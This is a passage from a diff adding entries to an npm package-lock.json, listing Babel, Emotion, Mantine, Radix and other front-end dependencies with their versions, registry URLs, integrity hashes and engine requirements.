"sha512-WAwHBINyrpqywkUH0nTnNgI5ina5TFn85HKS0pbPDfxFfhyR/aNQEn4hGi1P1JyT//I0t4OgXUlofzWILRvS5w==", + "dependencies": { + "@babel/template": "^7.18.10", + "@babel/types": "^7.19.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-hoist-variables": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz", + "integrity": "sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz", + "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.19.0.tgz", + "integrity": "sha512-3HBZ377Fe14RbLIA+ac3sY4PTgpxHVkFrESaWhoI5PuyXPBBX8+C34qblV9G89ZtycGJCmCI/Ut+VUDK4bltNQ==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-simple-access": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/helper-validator-identifier": "^7.18.6", + "@babel/template": "^7.18.10", + "@babel/traverse": "^7.19.0", + "@babel/types": "^7.19.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.19.0.tgz", + "integrity": "sha512-40Ryx7I8mT+0gaNxm8JGTZFUITNqdLAgdg0hXzeVZxVD6nFsdhQvip6v8dqkRHzsz1VFpFAaOCHNn0vKBL7Czw==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.18.6.tgz", + "integrity": "sha512-iNpIgTgyAvDQpDj76POqg+YEt8fPxx3yaNBg3S30dxNKm2SWfYhD0TGrK/Eu9wHpUW63VQU894TsTg+GLbUa1g==", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-split-export-declaration": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz", + "integrity": "sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==", + "dependencies": { + "@babel/types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.18.10", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.18.10.tgz", + "integrity": "sha512-XtIfWmeNY3i4t7t4D2t02q50HvqHybPqW2ki1kosnvWCwuCMeo81Jf0gwr85jy/neUdg5XDdeFE/80DXiO+njw==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.19.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz", + "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.18.6.tgz", + "integrity": "sha512-XO7gESt5ouv/LRJdrVjkShckw6STTaB7l9BrpBaAHDeF5YZT+01PCwmR0SJHnkW6i8OwW/EVWRShfi4j2x+KQw==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.19.0.tgz", + "integrity": "sha512-DRBCKGwIEdqY3+rPJgG/dKfQy9+08rHIAJx8q2p+HSWP87s2HCrQmaAMMyMll2kIXKCW0cO1RdQskx15Xakftg==", + "dependencies": { + "@babel/template": "^7.18.10", + "@babel/traverse": "^7.19.0", + "@babel/types": "^7.19.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", + "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", + "dependencies": { + "@babel/helper-validator-identifier": "^7.18.6", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.19.3.tgz", + "integrity": "sha512-pJ9xOlNWHiy9+FuFP09DEAFbAn4JskgRsVcc169w2xRBC3FRGuQEwjeIMMND9L2zc0iEhO/tGv4Zq+km+hxNpQ==", + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz", + "integrity": "sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.19.0.tgz", + "integrity": "sha512-UVEvX3tXie3Szm3emi1+G63jyw1w5IcMY0FSKM+CRnKRI5Mr1YbCNgsSTwoTwKphQEG9P+QqmuRFneJPZuHNhg==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-plugin-utils": "^7.19.0", + "@babel/plugin-syntax-jsx": "^7.18.6", + "@babel/types": "^7.19.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-development": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.18.6.tgz", + "integrity": "sha512-SA6HEjwYFKF7WDjWcMcMGUimmw/nhNRDWxr+KaLSCrkD/LMDBvWRmHAYgE1HDeF8KUuI8OAu+RT6EOtKxSW2qA==", + "dev": true, + "dependencies": { + "@babel/plugin-transform-react-jsx": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-self": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.18.6.tgz", + "integrity": "sha512-A0LQGx4+4Jv7u/tWzoJF7alZwnBDQd6cGLh9P+Ttk4dpiL+J5p7NSNv/9tlEFFJDq3kjxOavWmbm6t0Gk+A3Ig==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-source": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.18.6.tgz", + "integrity": "sha512-utZmlASneDfdaMh0m/WausbjUjEdGrQJz0vFK93d7wD3xf5wBtX219+q6IlCNZeguIcxS2f/CvLZrlLSvSHQXw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.21.0.tgz", + "integrity": "sha512-xwII0//EObnq89Ji5AKYQaRYiW/nZ3llSv29d49IuxPhKbtJoLP+9QUUZ4nVragQVtaVGeZrpB+ZtG/Pdy/POw==", + "dependencies": { + "regenerator-runtime": "^0.13.11" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.18.10", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.18.10.tgz", + "integrity": "sha512-TI+rCtooWHr3QJ27kJxfjutghu44DLnasDMwpDqCXVTal9RLp3RSYNh4NdBrRP2cQAoG9A8juOQl6P6oZG4JxA==", + "dependencies": { + "@babel/code-frame": "^7.18.6", + "@babel/parser": "^7.18.10", + "@babel/types": "^7.18.10" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.19.3.tgz", + "integrity": "sha512-qh5yf6149zhq2sgIXmwjnsvmnNQC2iw70UFjp4olxucKrWd/dvlUsBI88VSLUsnMNF7/vnOiA+nk1+yLoCqROQ==", + "dependencies": { + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.19.3", + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-function-name": "^7.19.0", + "@babel/helper-hoist-variables": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/parser": "^7.19.3", + "@babel/types": "^7.19.3", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.19.3.tgz", + "integrity": "sha512-hGCaQzIY22DJlDh9CH7NOxgKkFjBk0Cw9xDO1Xmh2151ti7wiGfQ3LauXzL4HP1fmFlTX6XjpRETTpUcv7wQLw==", + "dependencies": { + "@babel/helper-string-parser": "^7.18.10", + "@babel/helper-validator-identifier": "^7.19.1", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@emotion/babel-plugin": { + "version": "11.10.6", + "resolved": "https://registry.npmjs.org/@emotion/babel-plugin/-/babel-plugin-11.10.6.tgz", + "integrity": "sha512-p2dAqtVrkhSa7xz1u/m9eHYdLi+en8NowrmXeF/dKtJpU8lCWli8RUAati7NcSl0afsBott48pdnANuD0wh9QQ==", + "dependencies": { + "@babel/helper-module-imports": "^7.16.7", + "@babel/runtime": "^7.18.3", + "@emotion/hash": "^0.9.0", + "@emotion/memoize": "^0.8.0", + "@emotion/serialize": "^1.1.1", + "babel-plugin-macros": "^3.1.0", + "convert-source-map": "^1.5.0", + "escape-string-regexp": "^4.0.0", + "find-root": "^1.1.0", + "source-map": "^0.5.7", + "stylis": "4.1.3" + } + }, + "node_modules/@emotion/babel-plugin/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@emotion/cache": { + "version": "11.10.5", + "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-11.10.5.tgz", + "integrity": "sha512-dGYHWyzTdmK+f2+EnIGBpkz1lKc4Zbj2KHd4cX3Wi8/OWr5pKslNjc3yABKH4adRGCvSX4VDC0i04mrrq0aiRA==", + "dependencies": { + "@emotion/memoize": "^0.8.0", + "@emotion/sheet": "^1.2.1", + "@emotion/utils": "^1.2.0", + "@emotion/weak-memoize": "^0.3.0", + "stylis": "4.1.3" + } + }, + "node_modules/@emotion/hash": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.9.0.tgz", + "integrity": "sha512-14FtKiHhy2QoPIzdTcvh//8OyBlknNs2nXRwIhG904opCby3l+9Xaf/wuPvICBF0rc1ZCNBd3nKe9cd2mecVkQ==" + }, + "node_modules/@emotion/memoize": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.8.0.tgz", + "integrity": "sha512-G/YwXTkv7Den9mXDO7AhLWkE3q+I92B+VqAE+dYG4NGPaHZGvt3G8Q0p9vmE+sq7rTGphUbAvmQ9YpbfMQGGlA==" + }, + "node_modules/@emotion/react": { + "version": "11.10.6", + "resolved": "https://registry.npmjs.org/@emotion/react/-/react-11.10.6.tgz", + "integrity": "sha512-6HT8jBmcSkfzO7mc+N1L9uwvOnlcGoix8Zn7srt+9ga0MjREo6lRpuVX0kzo6Jp6oTqDhREOFsygN6Ew4fEQbw==", + "dependencies": { + "@babel/runtime": "^7.18.3", + "@emotion/babel-plugin": "^11.10.6", + "@emotion/cache": "^11.10.5", + "@emotion/serialize": "^1.1.1", + "@emotion/use-insertion-effect-with-fallbacks": "^1.0.0", + "@emotion/utils": "^1.2.0", + "@emotion/weak-memoize": "^0.3.0", + "hoist-non-react-statics": "^3.3.1" + }, + "peerDependencies": { + "react": ">=16.8.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@emotion/serialize": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-1.1.1.tgz", + "integrity": "sha512-Zl/0LFggN7+L1liljxXdsVSVlg6E/Z/olVWpfxUTxOAmi8NU7YoeWeLfi1RmnB2TATHoaWwIBRoL+FvAJiTUQA==", + "dependencies": { + "@emotion/hash": "^0.9.0", + "@emotion/memoize": "^0.8.0", + "@emotion/unitless": "^0.8.0", + "@emotion/utils": "^1.2.0", + "csstype": "^3.0.2" + } + }, + "node_modules/@emotion/sheet": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-1.2.1.tgz", + "integrity": "sha512-zxRBwl93sHMsOj4zs+OslQKg/uhF38MB+OMKoCrVuS0nyTkqnau+BM3WGEoOptg9Oz45T/aIGs1qbVAsEFo3nA==" + }, + "node_modules/@emotion/unitless": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.8.0.tgz", + "integrity": "sha512-VINS5vEYAscRl2ZUDiT3uMPlrFQupiKgHz5AA4bCH1miKBg4qtwkim1qPmJj/4WG6TreYMY111rEFsjupcOKHw==" + }, + "node_modules/@emotion/use-insertion-effect-with-fallbacks": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@emotion/use-insertion-effect-with-fallbacks/-/use-insertion-effect-with-fallbacks-1.0.0.tgz", + "integrity": "sha512-1eEgUGmkaljiBnRMTdksDV1W4kUnmwgp7X9G8B++9GYwl1lUdqSndSriIrTJ0N7LQaoauY9JJ2yhiOYK5+NI4A==", + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/@emotion/utils": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-1.2.0.tgz", + "integrity": "sha512-sn3WH53Kzpw8oQ5mgMmIzzyAaH2ZqFEbozVVBSYp538E06OSE6ytOp7pRAjNQR+Q/orwqdQYJSe2m3hCOeznkw==" + }, + "node_modules/@emotion/weak-memoize": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.3.0.tgz", + "integrity": "sha512-AHPmaAx+RYfZz0eYu6Gviiagpmiyw98ySSlQvCUhVGDRtDFe4DBS0x1bSjdF3gqUDYOczB+yYvBTtEylYSdRhg==" + }, + "node_modules/@esbuild/android-arm": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.15.10.tgz", + "integrity": "sha512-FNONeQPy/ox+5NBkcSbYJxoXj9GWu8gVGJTVmUyoOCKQFDTrHVKgNSzChdNt0I8Aj/iKcsDf2r9BFwv+FSNUXg==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.15.10.tgz", + "integrity": "sha512-w0Ou3Z83LOYEkwaui2M8VwIp+nLi/NA60lBLMvaJ+vXVMcsARYdEzLNE7RSm4+lSg4zq4d7fAVuzk7PNQ5JFgg==", + "cpu": [ + "loong64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@floating-ui/core": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.2.2.tgz", + "integrity": "sha512-FaO9KVLFnxknZaGWGmNtjD2CVFuc0u4yeGEofoyXO2wgRA7fLtkngT6UB0vtWQWuhH3iMTZZ/Y89CMeyGfn8pA==" + }, + "node_modules/@floating-ui/dom": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.2.3.tgz", + "integrity": "sha512-lK9cZUrHSJLMVAdCvDqs6Ug8gr0wmqksYiaoj/bxj2gweRQkSuhg2/V6Jswz2KiQ0RAULbqw1oQDJIMpQ5GfGA==", + "dependencies": { + "@floating-ui/core": "^1.2.2" + } + }, + "node_modules/@floating-ui/react": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/@floating-ui/react/-/react-0.19.2.tgz", + "integrity": "sha512-JyNk4A0Ezirq8FlXECvRtQOX/iBe5Ize0W/pLkrZjfHW9GUV7Xnq6zm6fyZuQzaHHqEnVizmvlA96e1/CkZv+w==", + "dependencies": { + "@floating-ui/react-dom": "^1.3.0", + "aria-hidden": "^1.1.3", + "tabbable": "^6.0.1" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@floating-ui/react-dom": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-1.3.0.tgz", + "integrity": "sha512-htwHm67Ji5E/pROEAr7f8IKFShuiCKHwUC/UY4vC3I5jiSvGFAYnSYiZO5MlGmads+QqvUkR9ANHEguGrDv72g==", + "dependencies": { + "@floating-ui/dom": "^1.2.1" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz", + "integrity": "sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==", + "dependencies": { + "@jridgewell/set-array": "^1.0.0", + "@jridgewell/sourcemap-codec": "^1.4.10" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.14", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", + "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.16", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.16.tgz", + "integrity": "sha512-LCQ+NeThyJ4k1W2d+vIKdxuSt9R3pQSZ4P92m7EakaYuXcVWbHuT5bjNcqLd4Rdgi6xYWYDvBJZJLZSLanjDcA==", + "dependencies": { + "@jridgewell/resolve-uri": "3.1.0", + "@jridgewell/sourcemap-codec": "1.4.14" + } + }, + "node_modules/@mantine/core": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/core/-/core-6.0.0.tgz", + "integrity": "sha512-ik2NUAAn9fYcqmOAluGtI9R73ijrr450dZDA+MezKq/dvpUU/Fhl9yXnGoCxxZ5XF6y4i6q07318rdrVturc9w==", + "dependencies": { + "@floating-ui/react": "^0.19.1", + "@mantine/styles": "6.0.0", + "@mantine/utils": "6.0.0", + "@radix-ui/react-scroll-area": "1.0.2", + "react-remove-scroll": "^2.5.5", + "react-textarea-autosize": "8.3.4" + }, + "peerDependencies": { + "@mantine/hooks": "6.0.0", + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@mantine/hooks": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/hooks/-/hooks-6.0.0.tgz", + "integrity": "sha512-boszkajLaA4qvd/ebDhqZBbMuUXlvJv8EM0jTaXz09IaGPachBKG5WKpXEcwWh2qmrUQL6pyhIbLMgPnvwS0QQ==", + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/@mantine/styles": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/styles/-/styles-6.0.0.tgz", + "integrity": "sha512-TyqFvdKIhbhnGYBDEJ9QIPit4NzyzQ3ivDfdzeqzd/cJBxFPhxB0sEFU8RppXpXBUlbhLFhulYFEVl2pP6zaeg==", + "dependencies": { + "clsx": "1.1.1", + "csstype": "3.0.9" + }, + "peerDependencies": { + "@emotion/react": ">=11.9.0", + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@mantine/styles/node_modules/csstype": { + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.9.tgz", + "integrity": "sha512-rpw6JPxK6Rfg1zLOYCSwle2GFOOsnjmDYDaBwEcwoOg4qlsIVCN789VkBZDJAGi4T07gI4YSutR43t9Zz4Lzuw==" + }, + "node_modules/@mantine/utils": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/utils/-/utils-6.0.0.tgz", + "integrity": "sha512-1AalSgzINKP4uv1DBTkJe/jh6yGwC2xaCQE4Atlr2bSHiLezYFMy/deGQ8XLFFv2AL0sjvewLW4ernlFujGMZg==", + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@radix-ui/number": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/number/-/number-1.0.0.tgz", + "integrity": "sha512-Ofwh/1HX69ZfJRiRBMTy7rgjAzHmwe4kW9C9Y99HTRUcYLUuVT0KESFj15rPjRgKJs20GPq8Bm5aEDJ8DuA3vA==", + "dependencies": { + "@babel/runtime": "^7.13.10" + } + }, + "node_modules/@radix-ui/primitive": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.0.0.tgz", + "integrity": "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA==", + "dependencies": { + "@babel/runtime": "^7.13.10" + } + }, + "node_modules/@radix-ui/react-compose-refs": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.0.0.tgz", + "integrity": "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA==", + "dependencies": { + "@babel/runtime": "^7.13.10" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-context": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.0.0.tgz", + "integrity": "sha512-1pVM9RfOQ+n/N5PJK33kRSKsr1glNxomxONs5c49MliinBY6Yw2Q995qfBUUo0/Mbg05B/sGA0gkgPI7kmSHBg==", + "dependencies": { + "@babel/runtime": "^7.13.10" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-direction": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.0.0.tgz", + "integrity": "sha512-2HV05lGUgYcA6xgLQ4BKPDmtL+QbIZYH5fCOTAOOcJ5O0QbWS3i9lKaurLzliYUDhORI2Qr3pyjhJh44lKA3rQ==", + "dependencies": { + "@babel/runtime": "^7.13.10" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-presence": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.0.0.tgz", + "integrity": "sha512-A+6XEvN01NfVWiKu38ybawfHsBjWum42MRPnEuqPsBZ4eV7e/7K321B5VgYMPv3Xx5An6o1/l9ZuDBgmcmWK3w==", + "dependencies": { + "@babel/runtime": "^7.13.10", + "@radix-ui/react-compose-refs": "1.0.0", + "@radix-ui/react-use-layout-effect": "1.0.0" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0", + "react-dom": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-primitive": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-1.0.1.tgz", + "integrity": "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA==", + "dependencies": { + "@babel/runtime": "^7.13.10", + "@radix-ui/react-slot": "1.0.1" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0", + "react-dom": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-scroll-area": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-scroll-area/-/react-scroll-area-1.0.2.tgz", + "integrity": "sha512-k8VseTxI26kcKJaX0HPwkvlNBPTs56JRdYzcZ/vzrNUkDlvXBy8sMc7WvCpYzZkHgb+hd72VW9MqkqecGtuNgg==", + "dependencies": { + "@babel/runtime": "^7.13.10", + "@radix-ui/number": "1.0.0", + "@radix-ui/primitive": "1.0.0", + "@radix-ui/react-compose-refs": "1.0.0", + "@radix-ui/react-context": "1.0.0", + "@radix-ui/react-direction": "1.0.0", + "@radix-ui/react-presence": "1.0.0", + "@radix-ui/react-primitive": "1.0.1", + "@radix-ui/react-use-callback-ref": "1.0.0", + "@radix-ui/react-use-layout-effect": "1.0.0" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0", + "react-dom": 